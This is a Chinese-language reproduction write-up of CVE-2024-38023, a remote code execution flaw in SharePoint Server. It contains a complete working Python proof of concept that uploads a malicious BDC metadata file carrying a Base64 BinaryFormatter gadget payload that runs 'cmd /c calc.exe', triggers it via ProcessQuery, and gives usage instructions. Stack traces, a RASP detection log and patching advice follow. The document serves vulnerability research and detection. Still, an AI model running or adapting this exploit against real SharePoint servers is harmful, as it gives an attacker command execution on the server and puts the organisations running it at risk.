【CVE-2024-38023】SharePoint Server 远程代码执行
一句话摘要
微软 SharePoint Server 的一个远程代码执行漏洞,攻击者通过 BDC(Business Data Connectivity)的
DotNetAssemblyLobSystem + 不安全反序列化,可在 IIS 工作进程w3wp.exe上下文中执行任意命令。本文为脱敏后的复现记录,包含 POC、攻击链、堆栈与 RASP 检测分析。
[toc]
漏洞概要
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2024-38023 |
| 漏洞类型 | 远程代码执行(RCE) |
| 影响产品 | Microsoft SharePoint Server(本地部署版) |
| 公开时间 | 2024-07-09 |
| 攻击向量 | 通过 /_vti_bin/client.svc/ntlm/ProcessQuery 触发 |
| 触发方式 | BDC DotNetAssembly + BinaryFormatter 不安全反序列化 |
| 权限要求 | 需为站点所有者/具备写入权限的账户(认证后) |
参考:
漏洞原理
本漏洞的根因是 SharePoint Business Data Connectivity(BDC)服务在解析 DotNetAssembly 类型的 LobSystem 元数据时,对 bdcm 文件中的 DefaultValue(Base64 编码的序列化数据)执行了不安全反序列化:
- 写入恶意 BDC 元数据:攻击者通过
/_api/web/相关接口,在目标站点创建BusinessDataMetadataCatalog目录,并上传BDCMetadata.bdcm文件。其中LobSystem Type="DotNetAssembly",Class="RevertToSelf",并在一处DefaultValue内嵌了 Base64 编码的 BinaryFormatter 序列化 payload(含SortedSet/TypeConfuseDelegate类似 gadget)。 - 触发反序列化:向
/_vti_bin/client.svc/ProcessQuery发送构造的FindFiltered请求,使服务端解析该 Entity 方法。反序列化链路经ObjectStateFormatter.Deserialize → BinaryFormatter.Deserialize,触发 gadget 链。 - 命令执行:gadget 链最终调用
System.Diagnostics.Process.Start(),以w3wp.exe(SharePoint Central Administration 应用池)身份执行cmd /c calc.exe(POC 默认)。
关键点:反序列化发生在 IIS 工作进程(w3wp.exe)上下文中,因此成功即获得 SharePoint 服务器本机执行权限。
攻击链
graph LR A[认证站点所有者] --> B[创建 BusinessDataMetadataCatalog 目录] B --> C[上传恶意 BDCMetadata.bdcm] C --> D[构造 ProcessQuery FindFiltered 请求] D --> E[ObjectStateFormatter.Deserialize] E --> F[BinaryFormatter.Deserialize] F --> G[gadget 链 → Process.Start] G --> H[cmd /c calc.exe 任意命令执行]
POC
代码
# -*- coding: utf-8 -*-
# CVE-2024-38023 SharePoint Server RCE POC(脱敏版)
import requests
from requests_ntlm2 import HttpNtlmAuth
from urllib3.exceptions import InsecureRequestWarning
import sys, time
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
class Color:
RESET = "\033[0m"
BRIGHT = "\033[1m"
GREEN = "\033[32m"
RED = "\033[31m"
YELLOW = "\033[33m"
if __name__ == "__main__":
session = requests.session()
target1 = sys.argv[1] # 目标 SharePoint 站点根地址
username = sys.argv[2] # 站点所有者账户
pwd = sys.argv[3] # 密码
site = "/my/personal/" + username
target = target1 + site
print("Target: " + target1)
digest = ""
auth = HttpNtlmAuth(username, pwd)
PROXY = {}
# 1) 校验身份 / 定位站点
burp0_url = target1 + "/_api/web/"
burp0_headers = {
"Connection": "keep-alive",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36",
"Cache-Control": "max-age=0",
"X-RequestDigest": digest,
"Upgrade-Insecure-Requests": "1",
"Accept": "application/json;odata=verbose",
"Content-Type": "application/json;odata=verbose",
}
content = session.get(burp0_url, headers=burp0_headers, auth=auth, verify=False)
if content.status_code == 401:
print("User is not site owner or wrong creds!")
burp0_url = target1 + "/my/"
content = session.get(burp0_url, headers=burp0_headers, auth=auth, verify=False, proxies=PROXY)
print(content.status_code)
if content.status_code == 401:
print("Wrong credentials!")
exit()
else:
target = target1
site = ""
time.sleep(5) # 等待个人站点初始化
# 2) 创建 BusinessDataMetadataCatalog 目录
burp0_url = target + "/_api/web/Folders"
burp0_json = {"__metadata": {"type": "SP.Folder"},
"ServerRelativeUrl": site + "/BusinessDataMetadataCatalog"}
content = session.post(burp0_url, headers=burp0_headers, json=burp0_json, auth=auth, verify=False, proxies=PROXY)
if content.status_code == 401:
print("{0}Wrong credentials!{1}".format(Color.RED, Color.RESET))
exit()
elif content.status_code == 404:
print("{0}Folder not found!{1}".format(Color.RED, Color.RESET))
exit()
print("Request Url: {0} {1} {2}".format(Color.GREEN, burp0_url, Color.RESET))
digest = content.headers['X-RequestDigest']
# 3) 上传恶意 BDCMetadata.bdcm(BDC 元数据,内嵌序列化 payload)
burp0_url = (target +
"/_api/web/GetFolderByServerRelativeUrl('" + site + "/BusinessDataMetadataCatalog/')"
"/Files/add(url='" + site + "/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)")
burp0_headers = {
"Connection": "close",
"X-RequestDigest": digest,
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"User-Agent": "python-requests/2.27.1",
"Content-type": "application/x-www-form-urlencoded",
}
burp0_data = """<?xml version="1.0" encoding="utf-8"?><Model xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" Name="BDCMetadata" xmlns="http://schemas.microsoft.com/windows/2007/BusinessDataCatalog"><LobSystems><LobSystem Name="QjtvWXFT" Type="DotNetAssembly"><Properties><Property Name="WsdlFetchUrl" Type="System.String">http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl</Property><Property Name="Class" Type="System.String">RevertToSelf</Property></Properties><LobSystemInstances><LobSystemInstance Name="QjtvWXFT"></LobSystemInstance></LobSystemInstances><Entities><Entity Name="Products" DefaultDisplayName="Products" Namespace="ODataDemo" Version="1.0.0.0" EstimatedInstanceCount="2000"><Properties><Property Name="ExcludeFromOfflineClientForList" Type="System.String">False</Property><Property Name="Class" Type="System.String">Microsoft.SharePoint.Administration.SPClickthroughUsageDefinition, Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c</Property></Properties><Identifiers><Identifier Name="ID" TypeName="System.String" /></Identifiers><Methods><Method Name="ParseLogFileEntry" DefaultDisplayName="Create Product" IsStatic="false"><FilterDescriptors><FilterDescriptor Type="Wildcard" FilterField="BdcIdentity" Name="f1" DefaultDisplayName="String" IsCached="false"></FilterDescriptor></FilterDescriptors><Parameters><Parameter Name="@ID" Direction="In"><TypeDescriptor Name="ID" DefaultDisplayName="ID" TypeName="System.String" CreatorField="true" IdentifierName="ID" AssociatedFilter="f1"><DefaultValues><DefaultValue MethodInstanceName="CreateProduct" Type="System.String">x1 x2 x3 x4 x5 x6 x7 x8 x9 x10 x11 x12 AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAsvYyBjYWxjLmV4ZQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL x14 x15 x16</DefaultValue></DefaultValues></TypeDescriptor></Parameter><Parameter Name="@CreateProduct" Direction="Return"><TypeDescriptor Name="CreateProduct1" TypeName="System.Object"></TypeDescriptor></Parameter></Parameters><MethodInstances><MethodInstance Name="CreateProduct" Type="SpecificFinder" ReturnParameterName="@CreateProduct"><AccessControlList><AccessControlEntry Principal="STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string"><Right BdcRight="Execute" /></AccessControlEntry></AccessControlList></MethodInstance><MethodInstance Name="CreateProduct1" Type="Finder" ReturnParameterName="@CreateProduct"><AccessControlList><AccessControlEntry Principal="STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string"><Right BdcRight="Execute" /></AccessControlEntry></AccessControlList></MethodInstance></MethodInstances></Method></Methods></Entity></Entities></LobSystem></LobSystems></Model>"""
req = session.post(burp0_url, headers=burp0_headers, data=burp0_data, auth=auth, verify=False, proxies=PROXY)
print(req.status_code)
# 4) 触发漏洞:构造 ProcessQuery FindFiltered 请求
burp0_url = target + "/_vti_bin/client.svc/ProcessQuery"
burp0_headers = {
"X-RequestDigest": digest,
"Content-Type": "text/xml",
"X-RequestForceAuthentication": "true",
"Accept-Encoding": "gzip, deflate",
"Expect": "100-continue",
}
burp0_data = """<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName=".NET Library" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"><Actions><ObjectPath Id="21" ObjectPathId="20" /><ObjectPath Id="23" ObjectPathId="22" /> <ObjectPath Id="25" ObjectPathId="24" /><ObjectPath Id="26" ObjectPathId="7" /></Actions><ObjectPaths><Method Id="20" ParentId="7" Name="GetCreatorView"><Parameters><Parameter Type="String">CreateProduct</Parameter></Parameters></Method><Method Id="22" ParentId="20" Name="GetDefaultValues"><Parameters/></Method><Method Id="26" ParentId="7" Name="GetFilters"><Parameters><Parameter Type="String">CreateProduct</Parameter></Parameters></Method><Method Id="24" ParentId="7" Name="FindFiltered"><Parameters><Parameter ObjectPathId="26"></Parameter><Parameter Type="String">CreateProduct1</Parameter><Parameter ObjectPathId="18" /></Parameters></Method><Identity Id="7" Name="9ccba4bb-d3a8-4255-b87f-18e2d824b848|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo" /><Identity Id="17" Name="d42d9b6b-28e0-4ae8-a7f5-6503d367c115|4da630b6-36c5-4f55-8e01-5cd40e96104d:notifcallback:avkldkm.c.ultr.cc,CurrentContext" /><Identity Id="18" Name="d42d9b6b-28e0-4ae8-a7f5-6503d367c115|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:QjtvWXFT,QjtvWXFT" /></ObjectPaths></Request>"""
req = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=PROXY)
print("Done!")环境要求
- 安装 Python2(如需在 Python3 环境运行,可参考多版本共存方案,例如:
- 安装脚本依赖:
requests、requests_ntlm2、urllib3
使用方式
将上述代码保存为 poc_filtered.py,然后运行:
# <TARGET> 为 SharePoint 站点根地址;<ADMIN> 为管理员账户
python2 poc_filtered.py <TARGET> <ADMIN> <PASSWORD>堆栈(复现)
反序列化到命令执行的关键堆栈:
System.Diagnostics.Process@Start
System.Comparison`1@Invoke
System.Collections.Generic.SortedSet`1@AddIfNotPresent
System.Collections.Generic.SortedSet`1@OnDeserialization
System.Runtime.Serialization.ObjectManager@RaiseDeserializationEvent
System.Runtime.Serialization.Formatters.Binary.ObjectReader@Deserialize
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter@Deserialize
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter@Deserialize
System.Web.UI.ObjectStateFormatter@DeserializeValue
System.Web.UI.ObjectStateFormatter@Deserialize
System.Web.UI.ObjectStateFormatter@Deserialize
System.RuntimeMethodHandle@InvokeMethod
System.Reflection.RuntimeMethodInfo@UnsafeInvokeInternal
System.Reflection.RuntimeMethodInfo@Invoke
Microsoft.SharePoint.BusinessData.SystemSpecific.DotNetAssembly.DotNetAssemblySystemUtility@Execute
Microsoft.SharePoint.BusinessData.SystemSpecific.DotNetAssembly.DotNetAssemblySystemUtility@ExecuteStatic
Microsoft.SharePoint.BusinessData.Runtime.DataClassRuntime@ExecuteInternalWithAuthNFailureRetry
Microsoft.SharePoint.BusinessData.Runtime.DataClassRuntime@ExecuteInternal
Microsoft.SharePoint.BusinessData.Runtime.EntityRuntime@ExecuteInternal
Microsoft.SharePoint.BusinessData.Runtime.EntityRuntime+<>c__DisplayClass12@<Subscribe>b__11
Microsoft.SharePoint.BusinessData.Runtime.BusinessNotificationCallbackHelper@Subscribe
Microsoft.SharePoint.BusinessData.MetadataModel.Dynamic.Entity@Subscribe
Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity@Subscribe
Microsoft.BusinessData.ServerStub.MetadataModel.EntityServerStub@Subscribe_MethodProxy
Microsoft.BusinessData.ServerStub.MetadataModel.EntityServerStub@InvokeMethod
Microsoft.SharePoint.Client.ServerStub@InvokeMethodWithMonitoredScope
Microsoft.SharePoint.Client.ClientMethodsProcessor@InvokeMethod
Microsoft.SharePoint.Client.ClientMethodsProcessor@GetObjectFromObjectPath
Microsoft.SharePoint.Client.ClientMethodsProcessor@GetObjectFromObjectPathId
Microsoft.SharePoint.Client.ClientMethodsProcessor@ProcessInstantiateObjectPath
Microsoft.SharePoint.Client.ClientMethodsProcessor@ProcessStatements
Microsoft.SharePoint.Client.ClientMethodsProcessor@Process
Microsoft.SharePoint.Client.ClientRequestServiceImpl@ProcessQuery
Microsoft.SharePoint.Client.ClientRequestService@ProcessQuery
System.ServiceModel.Dispatcher.SyncMethodInvoker@Invoke
System.ServiceModel.Dispatcher.DispatchOperationRuntime@InvokeBegin
System.ServiceModel.Dispatcher.ImmutableDispatchRuntime@ProcessMessage5
System.ServiceModel.Dispatcher.ImmutableDispatchRuntime@ProcessMessage11
System.ServiceModel.Dispatcher.MessageRpc@Process
System.ServiceModel.Dispatcher.ChannelHandler@DispatchAndReleasePump
System.ServiceModel.Dispatcher.ChannelHandler@HandleRequest
System.ServiceModel.Dispatcher.ChannelHandler@AsyncMessagePump
System.ServiceModel.Dispatcher.ChannelHandler@OnAsyncReceiveComplete
System.Runtime.Fx+AsyncThunk@UnhandledExceptionFrame
System.Runtime.AsyncResult@Complete
System.Runtime.InputQueue`1+AsyncQueueReader@Set
System.Runtime.InputQueue`1@EnqueueAndDispatch
System.Runtime.InputQueue`1@EnqueueAndDispatch
System.ServiceModel.Channels.SingletonChannelAcceptor`3@Enqueue
System.ServiceModel.Channels.HttpPipeline+EnqueueMessageAsyncResult@CompleteParseAndEnqueue
System.ServiceModel.Channels.HttpPipeline+EnqueueMessageAsyncResult@HandleParseIncomingMessage
System.Runtime.AsyncResult@SyncContinue
System.ServiceModel.Channels.HttpPipeline+EmptyHttpPipeline@BeginProcessInboundRequest
System.ServiceModel.Channels.HttpChannelListener`1+HttpContextReceivedAsyncResult`1@ProcessHttpContextAsync
System.ServiceModel.Channels.HttpChannelListener`1@BeginHttpContextReceived
System.ServiceModel.Activation.HostedHttpTransportManager@HttpContextReceived
System.ServiceModel.Activation.HostedHttpRequestAsyncResult@HandleRequest
System.ServiceModel.Activation.HostedHttpRequestAsyncResult@BeginRequest
System.ServiceModel.AspNetPartialTrustHelpers@PartialTrustInvoke
System.ServiceModel.Activation.HostedHttpRequestAsyncResult@OnBeginRequestWithFlow
System.Runtime.IOThreadScheduler+ScheduledOverlapped@IOCallback
System.Runtime.Fx+IOCompletionThunk@UnhandledExceptionFrame
System.Threading._IOCompletionCallback@PerformIOCompletionCallback
堆栈解读:从下往上看,请求进入 ProcessQuery → Entity@Subscribe → DotNetAssemblySystemUtility@Execute → 走到 ObjectStateFormatter.Deserialize(负责 BDC 默认值反序列化)→ BinaryFormatter.Deserialize → SortedSet.OnDeserialization 触发比较器回调 → Process.Start,最终执行 cmd /c calc.exe。
RASP 检测(360DNRSP 上报示例)
RASP 在 w3wp.exe 中拦截到 System.Diagnostics.Process@StartWithShellExecuteEx 命令执行:
{
"hi_MethodName": "<SITE>@System.Diagnostics.Process@StartWithShellExecuteEx",
"hi_Paramters": "argv0:cmd argv1:/c calc.exe ",
"hi_Stack": "System.Diagnostics.Process@Start System.Comparison`1@Invoke System.Collections.Generic.SortedSet`1@AddIfNotPresent ... System.Web.UI.ObjectStateFormatter@Deserialize ... Microsoft.SharePoint.BusinessData.SystemSpecific.DotNetAssembly.DotNetAssemblySystemUtility@Execute ... System.Diagnostics.Process@StartWithShellExecuteEx ",
"hi_ever": "1.0.0.1040",
"hi_DotNetVersion": "4.0.30319.42000",
"hi_wver": "10.0.14393.0 (rs1_release.160715-1616)",
"hi_CmdLine": "c:\\windows\\system32\\inetsrv\\w3wp.exe -ap \"SharePoint Central Administration v4\" ...",
"hi_URL": "http://<TARGET>/_vti_bin/client.svc/ntlm/ProcessQuery",
"hi_CVE": [
{
"CVE": "CVE-2024-38023",
"BugzillaDescription": "MicrosoftSharePointServerRemoteCodeExecutionVulnerability.",
"PublicDate": "2024-07-09T17:15:00Z",
"Software": "sharepoint",
"Url": "ntlm/ProcessQuery",
"Stack": [
"Microsoft.SharePoint.Administration.SPClickthroughUsageDefinition@ParseLogFileEntry",
"Microsoft.SharePoint.Administration.SPUsageProvider@DeserializeBase64String",
"Microsoft.SharePoint.BusinessData.SystemSpecific.DotNetAssembly.DotNetAssemblySystemUtility@Execute",
"...",
"System.Diagnostics.Process@StartWithShellExecuteEx",
"..."
]
}
]
}注:以上为脱敏后的上报示例,具体字段(
hi_pid/hi_tid/IP 等)因环境而异,已用<TARGET>/<SITE>占位。
检测与防御建议
- 及时打补丁:升级至微软 2024-07 安全更新(见 MSRC CVE-2024-38023 对应 KB),这是根治手段。
- 限制 BDC 写权限:BDC 元数据写入(
BusinessDataMetadataCatalog)应仅授权受信管理员,避免普通站点所有者可写。 - RASP 纵深防御:在 IIS 工作进程内拦截
Process.Start(StartWithShellExecuteEx)、ObjectStateFormatter/BinaryFormatter反序列化调用,可阻断该攻击链。 - 最小权限运行:SharePoint Central Administration 应用池应以低权限账户运行,降低被攻破后的影响面。